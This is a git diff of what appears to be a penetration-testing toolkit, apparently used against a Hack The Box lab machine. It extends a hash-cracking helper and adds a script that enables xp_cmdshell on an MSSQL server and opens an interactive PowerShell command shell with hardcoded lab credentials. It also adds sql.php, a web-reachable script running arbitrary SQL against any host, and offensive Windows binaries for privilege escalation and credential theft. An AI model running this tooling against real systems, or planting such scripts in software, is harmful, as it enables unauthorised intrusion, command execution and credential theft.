diff --git a/crack_hash.py b/crack_hash.py index e561a1f..7a8fd8f 100755 --- a/crack_hash.py +++ b/crack_hash.py @@ -25,6 +25,7 @@ class HashType(enum.Enum): RAW_SHA1 = 100 SHA1_PASS_SALT = 110 SHA1_SALT_PASS = 120 + SHA1_SHA1 = 4500 SHA1 = 101 SSHA1 = 111 @@ -81,6 +82,14 @@ class HashType(enum.Enum): # Keepass KEEPASS = 13400 + # mysql + MYSQL_323 = 200 + MYSQL_41 = 300 + MySQL_CRAM = 11200 + + # + IPMI2 = 7300 + class Hash: def __init__(self, hash): @@ -124,6 +133,8 @@ class Hash: self.type.append(HashType.PYTHON_PBKDF2_SHA512) elif crypt_type == "keepass": self.type.append(HashType.KEEPASS) + elif crypt_type == "mysqlna": + self.type.append(HashType.MySQL_CRAM) elif "$" in raw_hash and raw_hash.startswith("pbkdf2_sha256$"): self.type.append(HashType.DJANGO_PBKDF2_SHA256) else: @@ -163,7 +174,9 @@ class Hash: if HEX_PATTERN.match(raw_hash): hash_len = len(raw_hash) - if hash_len == 32: + if hash_len == 16: + self.type.append(HashType.MYSQL_323) + elif hash_len == 32: if self.isSalted: self.type.append(HashType.MD5_PASS_SALT) self.type.append(HashType.MD5_SALT_PASS) @@ -179,6 +192,8 @@ class Hash: else: self.type.append(HashType.RAW_SHA1) self.type.append(HashType.RAW_RIPEMD_160) + self.type.append(HashType.MYSQL_41) + self.type.append(HashType.SHA1_SHA1) elif hash_len == 64: if self.isSalted: self.type.append(HashType.SHA256_PASS_SALT) @@ -205,6 +220,9 @@ class Hash: if not self.isSalted: seld.type.append(HashType.MSSQL) self.hash = "0x" + raw_hash # TODO: MSSQL requires 0x prefix.. + elif hash_len == 142: + if self.isSalted: + self.type.append(HashType.IPMI2) elif raw_hash.startswith("0x") and HEX_PATTERN.match(raw_hash[2:]) and len(raw_hash) == 140+2: seld.type.append(HashType.MSSQL) diff --git a/fileserver.py b/fileserver.py index 49e9ace..5944c96 100755 --- a/fileserver.py +++ b/fileserver.py @@ -85,7 +85,8 @@ class FileServerRequestHandler(BaseHTTPRequestHandler): if len(headers) == 0: self.send_response(status_code) else: - self.log_request(status_code) + if path != "/dummy": + self.log_request(status_code) self.send_response_only(status_code) for key, value in headers.items(): @@ -100,7 +101,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler): if data and self.command.upper() not in ["HEAD","OPTIONS"]: self.wfile.write(data) - if path in self.server.dumpRequests or "/" in self.server.dumpRequests: + if (path in self.server.dumpRequests or "/" in self.server.dumpRequests) and path != "/dummy": contentLength = self.headers.get('Content-Length') body = None diff --git a/find_git_commit.py b/find_git_commit.py new file mode 100644 index 0000000..3559d71 --- /dev/null +++ b/find_git_commit.py @@ -0,0 +1,183 @@ +import argparse +import re +import os +import tempfile +import subprocess +import collections +import shutil +import hashlib +import datetime + +PROC_ENV = { "LC_ALL": "C" } + +def run_cmd(cmd, dir=None, raw=False): + proc = subprocess.Popen(cmd, cwd=dir, env=PROC_ENV, stderr=subprocess.PIPE, stdout=subprocess.PIPE) + out = b"".join(proc.communicate()) + + if not raw: + out = out.decode().strip() + + exit_code = proc.returncode + return exit_code, out + + +def check_git_dir(dir): + exit_code, out = run_cmd(["git", "status"], dir) + if "not a git repository" in out: + print("[-] Given directory is not a git repository.") + return False + elif "Your branch is up to date" not in out \ + or "nothing to commit, working tree clean" not in out: + print("[-] Git repository is not in a clean state, please reset it to HEAD") + return False + elif exit_code != 0: + print("[-] Error checking given directory:", out) + return False + else: + return True + + +def git_clone(dir, url): + print(f"[ ] Cloning {url} to {dir}") + exit_code, out = run_cmd(["git", "clone", url, dir, "-q"]) + if exit_code != 0: + print("[-] Error cloing git repository:") + print(out) + return False + return True + + +def check_input_dir(dir): + if not os.path.isdir(dir): + print("[-] Invalid directory:", dir) + return False + + if os.path.isdir(os.path.join(dir, ".git")): + print("[-] Directory to check should not be a git repository") + return False + + valid_files = [] + real_root = os.path.realpath(dir) + for root, subdirs, files in os.walk(dir): + for file in files: + full_path = os.path.realpath(os.path.join(root, file)) + file_size = os.path.getsize(full_path) + if file_size > 0: + relative_path = full_path[len(real_root) + 1:] + valid_files.append(relative_path) + + if len(valid_files) == 0: + print("[-] Given directory does not contain any non-empty files") + return False + + return valid_files + + +def get_commits_for_file(file, git_dir): + cmd = ["git","log","--no-color", "--pretty=format:%H %at", "--all","--", file] + exit_code, out = run_cmd(cmd, git_dir) + if exit_code != 0: + print("[-] git-log failed:", out) + return None + else: + lines = out.split("\n") + commits = collections.OrderedDict() + for line in lines: + if line: + data = line.split(" ") + hash, ts = line.split(" ") + commits[hash] = int(ts) + + return commits + +def hash(data, alg): + h = hashlib.new(alg) + h.update(data) + return h.hexdigest() + +def read_file(file): + with open(file, "rb") as f: + return f.read() + +def find_newest_commit(git_dir, file_name, sha1hash, md5hash, commits): + for commit_hash in reversed(commits.keys()): + cmd = ["git", "show", f"{commit_hash}:{file_name}"] + exit_code, out = run_cmd(cmd, git_dir, raw=True) + if exit_code != 0: + print("[-] git-show failed:", out) + return None + elif sha1hash == hash(out, "sha1") and md5hash == hash(out, "md5"): + return commit_hash + return None + +def get_commit_message(dir, commit_hash): + cmd = ["git","log","--no-color", "--pretty=format:%B", "-n1", commit_hash] + exit_code, out = run_cmd(cmd, dir) + if exit_code != 0: + print("[-] git-log failed:", out) + return None + else: + return out + +def run(files, root_dir, git_dir): + + latest_commit = None + latest_ts = None + + for f in files: + commits = get_commits_for_file(f, git_dir) + if commits: + print(f"[+] {f} found in git history") + sha1hash = hash(read_file(os.path.join(root_dir, f)), "sha1") + md5hash = hash(read_file(os.path.join(root_dir, f)), "md5") + found_commit = find_newest_commit(git_dir, f, sha1hash, md5hash, commits) + if found_commit: + print(f"[+] Commit {found_commit} matches") + if latest_commit is None or commits[found_commit] < latest_ts: + latest_commit = found_commit + latest_ts = commits[found_commit] + else: + print(f"[-] {f} not found in git history") + + if latest_commit is None: + print("[-] No matching commit found") + else: + title = get_commit_message(git_dir, latest_commit) + formatted_dt = datetime.datetime.fromtimestamp(latest_ts).strftime("%A, %d. %B %Y %I:%M%p") + print(f"[+] Commit might be: {latest_commit}, {formatted_dt}, {title}") + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument( + dest="dir", + help="The directory containing downloaded files" + ) + parser.add_argument( + dest="git", + help="URL or path to git repository to compare to" + ) + parser.add_argument( + "-n", + "--no-delete", + dest="nodelete", + action="store_true", + help="Don't delete the git directory after cloning" + ) + + is_remote_git = False + args = parser.parse_args() + git_dir = args.git + if re.match("^(git|https?)://.*", args.git) or \ + (len(args.git.split(":")) == 2 and "@" in args.git.split(":")[0]): + git_dir = tempfile.TemporaryDirectory(suffix=".git").name + is_remote_git = True + if not git_clone(git_dir, args.git): + exit(1) + + if check_git_dir(git_dir): + valid_files = check_input_dir(args.dir) + if valid_files != False: + run(valid_files, args.dir, git_dir) + + if is_remote_git and not args.nodelete: + shutil.rmtree(git_dir) \ No newline at end of file diff --git a/sql.php b/sql.php index 7f167a8..b1e3625 100644 --- a/sql.php +++ b/sql.php @@ -3,13 +3,15 @@ error_reporting(E_ALL); $username = $_REQUEST["username"]; $password = $_REQUEST["password"]; $database = (isset($_REQUEST["database"]) ? $_REQUEST["database"] : null); +$host = (isset($_REQUEST["host"]) ? $_REQUEST["host"] : "localhost"); +$query = (isset($_REQUEST["query"]) ? $_REQUEST["query"] : "SELECT @@version"); -$link = mysqli_connect("localhost", $username, $password, $database); +$link = mysqli_connect($host, $username, $password, $database); if (!$link) { die("Error connecting to mysql: " . mysqli_connect_error() . " (" . mysqli_connect_errno() . ")"); } -$res = mysqli_query($link, $_REQUEST["query"]); +$res = mysqli_query($link, $query); if (!$res) { die("Error executing query: " . mysqli_error($link)); } diff --git a/util.py b/util.py index 2d8bf28..78e2fe6 100755 --- a/util.py +++ b/util.py @@ -154,8 +154,8 @@ def collectUrls(input): input = BeautifulSoup(input, "html.parser") urls = set() - attrs = ["src","href"] - tags = ["a","link","script","img"] + attrs = ["src","href","action"] + tags = ["a","link","script","img","form"] for tag in tags: for e in input.find_all(tag): diff --git a/win/PrintSpoofer.exe b/win/PrintSpoofer.exe new file mode 100644 index 0000000..8d93ec7 Binary files /dev/null and b/win/PrintSpoofer.exe differ diff --git a/win/Seatbelt.exe b/win/Seatbelt.exe new file mode 100644 index 0000000..5072aeb Binary files /dev/null and b/win/Seatbelt.exe differ diff --git a/win/SeatbeltNet4x64.exe b/win/SeatbeltNet4x64.exe deleted file mode 100644 index 309dfb0..0000000 Binary files a/win/SeatbeltNet4x64.exe and /dev/null differ diff --git a/win/SharpDPAPI.exe b/win/SharpDPAPI.exe new file mode 100644 index 0000000..c215600 Binary files /dev/null and b/win/SharpDPAPI.exe differ diff --git a/win/SharpGPOAbuse.exe b/win/SharpGPOAbuse.exe new file mode 100644 index 0000000..36051ab Binary files /dev/null and b/win/SharpGPOAbuse.exe differ diff --git a/win/nmap-setup.exe b/win/nmap-setup.exe new file mode 100644 index 0000000..52ef120 Binary files /dev/null and b/win/nmap-setup.exe differ diff --git a/win/wireshark-setup.exe b/win/wireshark-setup.exe new file mode 100644 index 0000000..fa94213 Binary files /dev/null and b/win/wireshark-setup.exe differ diff --git a/xp_cmdshell.py b/xp_cmdshell.py index fc7a1ac..3cc42d6 100644 --- a/xp_cmdshell.py +++ b/xp_cmdshell.py @@ -5,6 +5,7 @@ import os, cmd, sys, re, base64 from impacket import tds import readline +import argparse class XpShell(cmd.Cmd): @@ -13,6 +14,7 @@ class XpShell(cmd.Cmd): self.sql = SQLObj self.prompt = 'xp_cmd> ' self.file = None + self.pwsh = False def powershell_encode(self, data): return base64.b64encode(data.encode('UTF-16LE')).decode() @@ -24,7 +26,7 @@ class XpShell(cmd.Cmd): def default(self, arg): try: - if pwsh: + if self.pwsh: new_arg = 'powershell -encodedCommand {}' arg = new_arg.format(self.powershell_encode(arg)) @@ -36,6 +38,7 @@ class XpShell(cmd.Cmd): except Exception as e: print('Exception: ') print(str(e)) + raise e pass # i wont say what it does @@ -115,6 +118,14 @@ exit - i wont say what it does self.sql.colMeta[0]['TypeData'] = 80*1 self.sql.printRows() + def do_enable_xp_cmdshell(self): + try: + self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;" + "exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;") + self.sql.printReplies() + self.sql.printRows() + except Exception as e: + raise e # encodes bytes as base64 and writes them to a file via powershell def write_bytes_to_file(self, data, target): @@ -132,32 +143,25 @@ exit - i wont say what it does def connect_mssql(ip, port=1433, username="sa", password="", domain=""): # do database connection (simple for now) - try: - ms_sql = tds.MSSQL(ip, port) - ms_sql.connect() - res = ms_sql.login(database = None, username=username, password=password, domain=domain) - ms_sql.printReplies() - if res: - return XpShell(ms_sql) - else: - return res + ms_sql = tds.MSSQL(ip, port) + ms_sql.connect() + res = ms_sql.login(database = None, username=username, password=password, domain=domain) + ms_sql.printReplies() + if res: + return XpShell(ms_sql) + else: + return res - except Exception as e: - print('Exception: ') - print(str(e)) - return False +if __name__ == '__main__': + # pass commands directly into powershell + # ./xp_cmdshell.py -powershell + # if len(sys.argv) > 1 and sys.argv[1] == '-powershell': + # pwsh = True -# if __name__ == '__main__': -# # pass commands directly into powershell -# # ./xp_cmdshell.py -powershell -# if len(sys.argv) > 1 and sys.argv[1] == '-powershell': -# pwsh = True -# -# # if connection successful -# ms_sql, res = connect_mssql() -# if res is True: -# shell = XpShell(ms_sql) -# shell.cmdloop() -# -# # close ms_sql -# ms_sql.disconnect() + # if connection successful + xp_shell = connect_mssql("teignton.htb", username="webappusr", password="d65f4sd5f1s!df1fsd65f1sd") + if isinstance(xp_shell, XpShell): + xp_shell.do_enable_xp_cmdshell() + xp_shell.pwsh = True + xp_shell.cmdloop() + xp_shell.sql.disconnect()